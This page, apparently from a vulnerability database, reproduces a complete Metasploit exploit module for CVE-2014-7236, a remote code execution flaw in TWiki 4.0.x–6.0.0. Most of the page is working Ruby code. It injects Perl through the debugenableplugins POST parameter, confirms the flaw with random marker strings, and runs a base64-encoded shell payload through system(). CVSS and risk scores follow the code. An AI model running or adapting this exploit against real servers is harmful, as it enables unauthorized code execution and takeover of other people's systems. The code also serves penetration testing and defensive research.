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TWiki Debugenableplugins Remote Code Execution

🗓️ 09 Oct 2014 00:00:00Reported by Netanel Rubin, h0ng10Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 42 Views

TWiki Debugenableplugins Remote Code Execution vulnerability allows remote code execution through the debugenableplugins parameter in TWiki 4.0.x-6.0.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'TWiki Debugenableplugins Remote Code Execution',
        'Description' => %q{
          TWiki 4.0.x-6.0.0  contains a vulnerability in the Debug functionality.
          The value of the debugenableplugins parameter is used without proper sanitization
          in an Perl eval statement which allows remote code execution.
        },
        'Author' => [
          'Netanel Rubin', # from Check Point - Discovery
          'h0ng10', # Metasploit Module

        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2014-7236'],
          [ 'OSVDB', '112977'],
          [ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2014-7236']
        ],
        'Privileged' => false,
        'Targets' => [
          [
            'Automatic',
            {
              'Payload' =>
                {
                  'BadChars' => "",
                  'Compat' =>
              {
                'PayloadType' => 'cmd',
                'RequiredCmd' => 'generic perl python php',
              }
                },
              'Platform' => ['unix'],
              'Arch' => ARCH_CMD
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2014-10-09',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, "TWiki path", '/do/view/Main/WebHome' ]),
        OptString.new('PLUGIN', [true, "A existing TWiki Plugin", 'BackupRestorePlugin'])
      ]
    )
  end

  def send_code(perl_code)
    uri = target_uri.path
    data = "debugenableplugins=#{datastore['PLUGIN']}%3b" + CGI.escape(perl_code) + "%3bexit"

    res = send_request_cgi!({
      'method' => 'POST',
      'uri' => uri,
      'data' => data
    })

    return res
  end

  def check
    rand_1 = rand_text_alpha(5)
    rand_2 = rand_text_alpha(5)

    code = "print(\"Content-Type:text/html\\r\\n\\r\\n#{rand_1}\".\"#{rand_2}\")"
    res = send_code(code)

    if res and res.code == 200
      return CheckCode::Vulnerable('Successfully executed code via TWiki debug plugins') if res.body == rand_1 + rand_2
    end
    CheckCode::Unknown('Could not determine if TWiki debug plugins are exploitable')
  end

  def exploit
    code = "print(\"Content-Type:text/html\\r\\n\\r\\n\");"
    code += "require('MIME/Base64.pm');MIME::Base64->import();"
    code += "system(decode_base64('#{Rex::Text.encode_base64(payload.encoded)}'));exit"
    res = send_code(code)
    handler
  end
end

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09 Oct 2014 00:00Current
9.2High risk
Vulners AI Score9.2
CVSS 26.4
CVSS 3.19.1
EPSS0.55637
42